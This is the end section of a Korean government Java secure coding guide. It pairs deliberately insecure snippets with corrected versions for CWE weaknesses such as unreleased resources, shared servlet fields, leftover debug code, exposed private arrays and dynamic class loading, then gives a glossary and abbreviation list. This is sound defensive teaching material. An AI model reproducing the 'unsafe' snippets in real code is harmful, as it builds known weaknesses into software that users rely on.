7. 무한 자원 할당(Allocation of Resources Without Limits or Throttling)

가. 정의

프로그램이 자원을 사용 후 해제하지 않거나, 한 사용자당 서비스할 수 있는 자원의 양을 제한하지 않고, 서비스 요청마다 요구하는 자원을 할당한다.

나. 안전한 코딩기법

- 프로그램에서 자원을 오픈하여 사용하고 난 후, 반드시 자원을 해제한다.
- 사용자가 사용할 수 있는 자원의 사이즈를 제한한다.

※ 사용자가 접근할 수 있는 자원의 양을 제한한다. 특히 제한된 자원을 효율적으로 사용하기 위해서 Pool(Thread Pool, Connection Pool 등)을 사용한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  Connection conn = null;
2:  PreparedStatement pstmt = null;
3:  try {
4:      conn=getConnection();
5:       ...
6:       pstmt = conn.prepareStatement("SELECT * FROM employees
7:            where name=?");
8:       ...
9:       conn.close();
10:      pstmt.close();
11:  }catch (SQLException ex) {...}
```

close()문을 만나기 전에 예외가 일어나면, open된 자원은 dangling resource로 메모리에 존재한다. 즉 참조를 잃어버렸기 때문에 재사용은 불가하다.

■ 안전한 코드의 예 - JAVA

```
1:  Connection conn = null;
2:  PreparedStatement pstmt = null;
3:  try {
4:      conn=getConnection();
5:       ...
6:       pstmt = conn.prepareStatement("SELECT * FROM employees
7:            where name=?");
8:       ...
9:  }catch (SQLException ex) {...}
10:  // 자원을 사용하고 해제 시 항상 finally문에서 한다.
11:  finally {
12:      if ( conn!= null ) try { conn.close(); } catch (SQLException e){...}
13:      if ( pstmt!= null ) try { pstmt.close(); } catch (SQLException e){...}
14:  }
```

중간에 예외상황이 발생하더라도 함수가 종료되기 직전에 항상 finally문을 수행하므로, 자원을 해제할 경우 항상 finally문에서 해제한다.

라. 참고 문헌

[1] CWE-400 무제한 자원 소비 - http://cwe.mitre.org/data/definitions/400.html
CWE-774 제한이나 조절 없이 파일 디스크립터나 핸들할당 - http://cwe.mitre.org/data/definitions/774.html
CWE-789 무제어 메모리 할당 - http://cwe.mitre.org/data/definitions/789.html
CWE-770 제한이나 조절 없이 자원할당 - http://cwe.mitre.org/data/definitions/770.html

[2] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 17, "Protecting Against Denial of Service Attacks" Page 517. 2nd Edition. Microsoft. 2002

[3] J. Antunes, N. Ferreira Neves and P. Verissimo. "Detection and Prediction of Resource-Exhaustion Vulnerabilities". Proceedings of the IEEE International

제7절 캡슐화

소프트웨어가 중요한 데이터나 기능성을 불충분하게 캡슐화 하는 경우, 인가된 데이터와 인가되지 않은 데이터를 구분하지 못하게 되어 허용되지 않는 사용자들 간의 데이터 누출이 가능해진다. 캡슐화는 단순히 일반 소프트웨어 개발 방법상의 상세한 구현 내용을 감추는 일뿐 아니라 소프트웨어 보안 측면의 좀 더 넓은 의미로 사용된다.

1. 세션 간에 데이터 누출(Data Leak Between Sessions)

가. 정의

다중 스레드 환경에서는 싱글톤(singleton) 객체 필드에 경쟁 조건(race condition)이 발생할 수 있다. 따라서 다중 스레드 환경에서 서블릿(servlet)에 정보를 저장하는 필드가 포함되지 않도록 하여 세션에서 데이터를 접근할 수 없도록 해야 한다.

나. 안전한 코딩기법

- HttpServlet 클래스의 하위클래스에서 멤버 필드를 선언하면 안된다. 필요한 경우 지역 변수를 선언하여 사용한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  public class U488 extends HttpServlet {
2:      private String name;
3:      protected void doPost(HttpServletRequest request, HttpServletResponse response)
4:                                                  throws ServletException, IOException {
5:          name = request.getParameter("name");
6:          ……
7:          out.println(name + ", thanks for visiting!");
8:      }
9:  }
```

두 사용자가 거의 동시에 접속할 시, 첫번째 사용자를 위한 스레드가 out.println(...)을 수행하기 전에 두번째 사용자의 스레드가 name = ... 을 수행하면 첫번째 사용자는 두번째 사용자의 정보(name)를 보게 된다.

■ 안전한 코드의 예 - JAVA

```
1:  public class S488 extends HttpServlet {
2:      protected void doPost(HttpServletRequest request, HttpServletResponse response)
3:                                                          throws ServletException, IOException {
4:          // 지역변수로 변경한다.
5:          String name = request.getParameter("name");
6:          if (name == null || "".equals(name)) return;
7:          out.println(name + ", thanks for visiting!");
8:      }
9:  }
```

필요한 경우 지역변수를 선언하여 사용한다.

라. 참고 문헌

[1] CWE-488 세션 간에 데이터 누출 - http://cwe.mitre.org/data/definitions/488.html

2. 제거되지 않고 남은 디버거 코드(Leftover Debug Code)

가. 정의

디버깅 목적으로 삽입된 코드는 개발이 완료되면 제거해야 한다. 만일, 남겨진 채로 배포될 경우 공격자가 식별 과정을 우회하거나 의도하지 않은 정보와 제어 정보가 누출될 수 있다.

나. 안전한 코딩기법

- J2EE와 같은 응용프로그램에서 main() 메소드를 정의하면 안된다. 이것은 보통 디버깅을 위해서 만드는 경우가 있는데, 디버깅이 끝나면 main() 메소드를 삭제해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  public class U489 extends HttpServlet {
2:      protected void doGet(HttpServletRequest request, … ) throws …… { …… }
3:      protected void doPost(HttpServletRequest request, … ) throws …… { …… }
4:      // 테스트를 위한 main()함수나 디버깅용 로그 출력문 등이 남아 있다.
5:      public static void main(String args[]) {
6:          System.err.printf("Print debug    code");
7:      }
8:  ……
```

J2EE와 같은 응용프로그램에서 디버깅용으로 사용되는 main() 메소드는 삭제되어야 한다.

■ 안전한 코드의 예 - JAVA

```
1:  public class S489 extends HttpServlet {
2:      protected void doGet(HttpServletRequest request, … ) throws …… { …… }
3:      protected void doPost(HttpServletRequest request, … ) throws …… { …… }
4:      // 테스트용 코드는 제거해준다.
5:  ……
```

J2EE와 같은 응용프로그램에서 디버깅용 main() 메소드는 삭제한다.

라. 참고 문헌

[1] CWE-489 제거되지 않고 남은 디버거 코드 - http://cwe.mitre.org/data/definitions/489.html

3. 민감한 데이터를 가진 내부 클래스 사용 (Use of Inner Class Containing Sensitive Data)

가. 정의

내부 클래스는 컴파일 과정에서 패키지 수준의 접근성으로 바뀌기 때문에 의도하지 않은 정보 공개가 발생할 수 있다. 이를 피하기 위해서는 정적(static) 내부 클래스, 지역적(local) 내부 클래스 또는 익명(anonymous) 내부 클래스를 사용하는 것을 고려해야 한다.

나. 안전한 코딩기법

- 내부클래스 사용 시 외부클래스의 private 필드를 접근하지 않도록 한다. 가급적이면 내부 클래스를 사용하지 않도록하며, 불가피하게 내부클래스를 사용할 경우, 정적(static) 또는 지역적(local) 또는 익명(anonymous) 내부 클래스를 사용해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  public final class U492 extends Applet {
2:      // 외부 클래스에서 내부 클래스로 가면서 보안 수준을 낮추어서는 않된다.
3:      public class urlHelper {      String openData = secret;      }
4:      String secret;
5:      urlHelper helper = new urlHelper();
6:  }
```

내부 클래스는 바이트코드에서는 패키지 수준 접근제어로 바뀌기 때문에, 내부 클래스가 둘러싸고 있는 클래스의 민감한 정보에 접근시, 이 내부 클래스를 통해 정보가 유출될 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  public class S492 extends Applet {
2:      // 내부 클래스를 정적(static) 선언하여 외부클래스의 private 필드에 접근 못하게 한다.
3:      public static class urlHelper { ... }
4:      String secret;
5:      urlHelper helper = new urlHelper(secret);
6:  }
7:
```

내부클래스의 사용에 주의해서 내부클래스에서 외부클래스의 private 필드를 접근하지 않도록 한다.

라. 참고 문헌

[1] CWE-492 민감한 데이터를 가진 내부 클래스 사용 - http://cwe.mitre.org/data/definitions/492.html

4. Final 변경자 없는 주요 공용 변수 (Critical Public Variable Without Final Modifier)

가. 정의

public으로 선언된 멤버 변수를 final로 선언하지 않으면, 그 변수의 값을 외부에서 변경할 수 있다. 일반적으로 객체의 상태 변경은 허용된 인터페이스만 사용하도록 해야 한다.

나. 안전한 코딩기법

- 변경되면 안되는 public 멤버 변수는 반드시 final로 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  public final class U493 extends Applet {
2:      // price 필드가 final이 아니기 때문에, 외부에서 price를 수정할 수 있다.
3:      public static float price = 500;
4:
5:      public float getTotal(int count) {
6:              return price * count;
7:      }
8:  ……
```

price 필드가 final이 아니기 때문에, 외부에서 변경이 가능하며, getTotal()의 값이 변조될 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  public final class S493    extends Applet {
2:      // 수정되면 안되는 변수는 final 키워드로 선언한다.
3:      public static final float price = 500;
4:
5:      public float getTotal(int count) {
6:              return price * count;   // price 수정 불가
7:      }
8:  }
```

변경되면 안되는 public 멤버 변수는 final 키워드로 선언한다.

라. 참고 문헌

[1] CWE-493 Final 변경자 없는 주요 공용 변수 - http://cwe.mitre.org/data/definitions/493.html

5. 공용 메소드로부터 리턴된 private 배열-유형 필드 (Private Array-Typed Field Returned From A Public Method)

가. 정의

private로 선언된 배열을 public으로 선언된 메소드를 통해 반환(return)하면, 그 배열의 레퍼런스가 외부에 공개되어 외부에서 배열의 수정할 수 있다.

나. 안전한 코딩기법

- private로 선언된 배열을 public으로 선언된 메소드를 통해 반환하지 않도록 해야 한다. 필요한 경우 배열의 복제본을 반환하거나, 수정을 제어하는 public 메소드를 별도로 선언하여 사용한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  // private 인 배열을 public인 메소드가 return한다
2:  private String[] colors;
3:  public String[] getColors() {    return colors;    }
4:  ……
```

멤버 변수 colors는 private로 선언되었지만 public으로 선언된 getColors() 메소드를 통해 reference를 얻을 수 있다. 이를 통해 의도하지 않은 수정이 발생할 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  private String[] colors;
3:  // 메소드를 private으로 하거나, 복제본을 반환하거나, 수정을 제어하는 public 메소드를 별
    도로 만든다.
4:  public String[] getColors() {
5:      String[] ret = null;
6:      if ( this.colors != null ) {
7:          ret = new String[colors.length];
8:          for (int i = 0; i < colors.length; i++) {    ret[i] = this.colors[i];    }
9:      }
10:     return ret;
11: }
12: ……
```

private 배열의 복제본을 만들어서, 그것을 반환하도록 작성하면 private 선언된 배열에 대한 의도하지 않은 수정을 방지할 수 있다.

라. 참고 문헌

[1] CWE-495 공용 메소드로부터 리턴된 private 배열-유형 필드 - http://cwe.mitre.org/data/definitions/495.html

6. private 배열-유형 필드에 공용 데이터 할당 (Public Data Assigned to Private Array-Typed Field)

가. 정의

public으로 선언된 데이터 또는 메소드의 인자가 private 선언된 배열에 저장되면, private 배열을 외부에서 접근할 수 있다.

나. 안전한 코딩기법

- public으로 선언된 데이터가 private 선언된 배열에 저장되지 않도록 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  // userRoles 필드는 private이지만, public인 setUserRoles()를 통해 외부의 배열이 할당되면,
    사실상 public 필드가 된다.
3:  private String[] userRoles;
4:
5:  public void setUserRoles(String[] userRoles) {
6:      this.userRoles = userRoles;
7:  }
8:  ……
```

userRoles 필드는 private이지만, public인 setUserRoles()를 통해 외부의 배열이 할당되면, 사실상 public 필드가 된다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  // 객체가 클래스의 private member를 수정하지 않도록 한다.
3:  private String[] userRoles;
4:
5:  public void setUserRoles(String[] userRoles) {
6:      this.userRoles = new String[userRoles.length];
7:      for (int i = 0; i < userRoles.length; ++i)
8:          this.userRoles[i] = userRoles[i];
9:  }
10:  ……
```

입력된 배열의 reference가 아닌, 배열의 "값"을 private 배열의 할당함으로써 private 멤버로서의 접근권한을 유지 시켜준다.

라. 참고 문헌

[1] CWE-496 private 배열-유형 필드에 공용 데이터 할당 - http://cwe.mitre.org/data/definitions/496.html

7. 시스템 데이터 정보 누출(Information Leak of System Data)

가. 정의

시스템의 내부 데이터나 디버깅 관련 정보가 공개되면, 이를 통해 공격자에게 아이디어를 제공하는 등 공격의 빌미가 된다.

나. 안전한 코딩기법

- 디버깅을 위해 작성한 시스템 정보 출력 코드를 모두 삭제해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:      public void f() {
3:              try {   g();   }
4:              catch (IOException e) {
5:              // 예외 발생시 printf(e.getMessage())를 통해 오류 메시지 정보가 유출된다.
6:                      System.err.printf(e.getMessage());
7:              }
8:      }
9:      private void g() throws IOException {     ……      }
10:  ……
```

예외 발생시 getMessage()를 통해 오류와 관련된 시스템 에러정보 등 민감한 정보가 유출될 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:      public void f() {
3:              try {    g();    }
4:              catch (IOException e) {
5:              // end user가 볼 수 있는 오류 메시지 정보를 생성하지 않아야 한다.
6:                      System.err.println("IOException Occured");
7:              }
8:      }
9:      private void g() throws IOException {     ……      }
10:  ……
```

가급적이면 공격의 빌미가 될 수 있는 오류와 관련된 상세한 정보는 최종 사용자에게 노출하지 않는다.

라. 참고 문헌

[1] CWE-497 시스템 데이터 정보 누출 - http://cwe.mitre.org/data/definitions/497.html

8. 동적 클래스 로딩 사용(Use of Dynamic Class Loading)

가. 정의

동적으로 클래스를 로드하면 그 클래스가 악성 코드일 가능성이 있다. 동적으로 클래스를 로드하지 말아야 한다.

나. 안전한 코딩기법

- 동적 로딩은 사용하지 않는다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public void f() {
3:      // 외부 입력으로 동적 클래스 로딩
4:      String classname = System.getProperty("customClassName");
5:      try {
6:              Class clazz = Class.forName(classname);
7:              System.out.println(clazz);
8:      } catch (ClassNotFoundException e) {      ……      }
9:  ……
```

동적으로 로드되는 클래스는 악성 코드일 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  public void f() {
3:      // 외부 입력으로 동적 클래스 로딩하지 않도록 한다.
4:      TestClass tc = new TestClass();
5:      System.out.println(tc);
6:  ……
```

가급적이면 동적 로딩을 사용하지 않는다. 사용해야 하는 경우 로드가 가능한 모든 클래스를 미리 정의하여 사용한다.

라. 참고 문헌

[1] CWE-545 동적 클래스 로딩 사용 - http://cwe.mitre.org/data/definitions/545.html

제2장 용어정리 및 약어표

제1절 용어정리

- **동적 SQL(Dynamic SQL)** : 프로그램의 조건에 따라 SQL문이 다를 경우, 프로그램이 실행 시 전체 질의 문이 만들어져서 DB에 요청하는 SQL을 말한다.
- **상호배제(Mutex)** : 동시 프로그래밍에서 공유 불가능한 자원의 동시 사용을 피하기 위해 사용되는 알고리즘으로, 임계 구역(critical section)으로 불리는 코드 영역에 의해 구현된다.
- **샌드박스 기법(Sandbox)** : 실제 컴퓨터 시스템 상에서 바로 실행 파일(Executable File)을 실행하고는 정보를 수집하여 악성코드를 판단하는 방법이다.
- **서블릿(Servlet)** : 자바 서블릿(Java Servlet)은 자바를 사용하여 웹페이지를 동적으로 생성하는 서버 측 프로그램 혹은 그 사양을 말한다.
- **스트러츠(Struts)** : 아파치 그룹에서 개발한 모델2 기반의 개발 프레임워크이다.
- **정적 SQL(Static SQL)** : 동적 SQL과 달리 프로그램 소스에 이미 질의 문이 완성되고 고정되어 있다.
- **침입 탐지 시스템** : 컴퓨터 시스템의 비정상적인 사용, 오용 및 남용 등을 실시간으로 탐지하는 시스템이다.
- **화이트리스트(Whitelist)** : 블랙리스트(Black List)의 반대되는 개념으로, 알려진 IP 주소로 화이트리스트를 만들어 이로부터 전송된 이메일은 메일 서버가 언제나 수용하도록 하거나 은행 및 각종 포털 사이트가 자발적으로 보안업체나 단체에 화이트리스트로 등록해 웹사이트의 안전성을 소비자에게 알려 주게 된다.
- **해쉬 함수(Hash)** : 컴퓨터 암호화 기술의 일종으로 요약함수(要約函數), 메시지다이제스트함수(message digest function)라고도 하는데 주어진 원문(原文)에서 고정된 길이의 의사난수(疑似亂數)를 생성하는 연산기법이며 생성된 값은 '해쉬 값'이라고 한다.
- **Advanced Encryption Standard (AES)** : 미국 정부표준으로 지정된 블록암호 형식으로 이전의 DES를 대체하며, 미국 표준 기술 연구소(NIST)가 5년의 표준화 과정을 거쳐 2001년 11월에 연방정보처리표준(FIPS 197)으로 발표하였다.
- **Big Endian** : 컴퓨터 메모리에 저장된 바이트들의 순서를 설명하는 용어이며 바이트 열에서 가장 큰 값이 먼저 저장된다.
- **DES 알고리즘** : DES(Data Encryption Standard)암호는 암호화키와 복호화키가 같은 대칭키 암호로 이 암호는 대칭 블록암호로서 평문의 각 블록의 길이가 64비트이고, 키가 64비트이며, 암호문이 64비트인 암호이다. 전수공격(Brute Force)공격에 의해서 해독되었다.
- **LDAP(Lightweight Directory Access Protocol)** : TCP/IP 위에서 디렉터리 서비스를 조

회하고 수정하는 응용 프로토콜이다.

- **Little Endian** : 컴퓨터 메모리에 저장된 바이트들의 순서를 설명하는 용어이며 바이트 열에서 가장 작은 값이 먼저 저장된다.
- **MultipartRequest** : 자바 교재로서 O'reilly에서 제공되는 서블릿 패키지 중의 하나로 파일 업로드 코딩 시 참조되고 있는 오픈 소스이다.
- **OAEP(Optimal Asymmetric Encryption Padding)** : Bellare와 Rogaway에 의해서 소개된 RSA를 보완하는 암호 수단으로 제작된 padding scheme
- **Pool** : 제한된 자원을 효율적으로 사용하기 위한 기술로써, 한정된 개수의 자원을 생성하고, 사용자가 요구할 때 풀에 있는 자원을 제공함으로써 자원의 생성과 해제시간을 줄이고 자원을 효율적으로 관리할 수 있다.
- **Private key** : 공개키 기반구조에서 개인키란 암복호화를 위해 비밀 메시지를 교환하는 당사자만이 알고 있는 키이다
- **Public key** : 공개키는 지정된 인증기관에 의해 제공되는 키값으로서, 이 공개키로부터 생성된 개인키와 함께 결합되어, 메시지 및 전자서명의 암복호화에 효과적으로 사용될 수 있다.
- **SHA(Secure Hash Algorithm)** : 암호학적 해쉬 함수들의 모음이다.
- **RC5** : 1994년 RSA Security사의 Ronald Rivest에 의해 고안된 블록 방식의 알고리즘이다.
- **Synchronized** : JAVA에서 임계코드를 동기화하기 위해서 제공하는 구문이다
- **Umask** : 파일 또는 디렉터리의 권한을 제한하는 명령어이다.
- **Wraparound** : int 또는 long으로 정의된 변수의 값이 한계치를 상회했을 경우 MSB(Most Significant Bit)가 바뀌어 양수는 음수, 음수는 양수로 전환된다.

제2절 약어표

- **ACL** : Access Control List
- **AES** : Advanced Encryption Standard
- **CSRF** : Cross-Site Request Forgery
- **CWE** : Common Weakness Enumeration
- **DES :** Data Encryption Standard
- **ESAPI** : Enterprise Security API
- **HTML** : Hyper Text Markup Language
- **HTTPS** : Hypertext Transfer Protocol over Secure Socket Layer
- **JAAS** : Java Authentication and Authorization Service
- **JDBC** : Java Database Connectivity
- **LDAP** : Lightweight Directory Access Protocol
- **MSB** : Most Significant Bit
- **OAEP** : Optimal Asymmetric Encryption Padding
- **OWASP** : Open Web Application Security Project
- **RSA** : Ron Rivest, Adi Shamir, Leonard Adleman
- **SHA** : Secure Hash Algorithm
- **SQL** : Structured Query Language
- **OpenSSL** : Open Secure Socket Layer
- **URL** : Uniform Resource Locator
- **XSS** : Cross-Site Scripting
- **WAS** : Web Application Server

JAVA 시큐어 코딩 가이드

2011년 6월 인쇄
2011년 6월 발행

발행처 행정안전부 (http://www.mopas.go.kr)

인쇄처 한올 (Tel: 02-2279-8494)

< 비매품 >

□ 본 보고서의 내용과 관련한 문의는 아래로 해 주시기 바랍니다.

※ 행정안전부
홈페이지 www.mopas.go.kr 대표전화 02) 2100-3633, 2927

※ 한국인터넷진흥원
홈페이지 www.kisa.or.kr 대표전화 02) 405-5118

JAVA

시큐어 코딩 가이드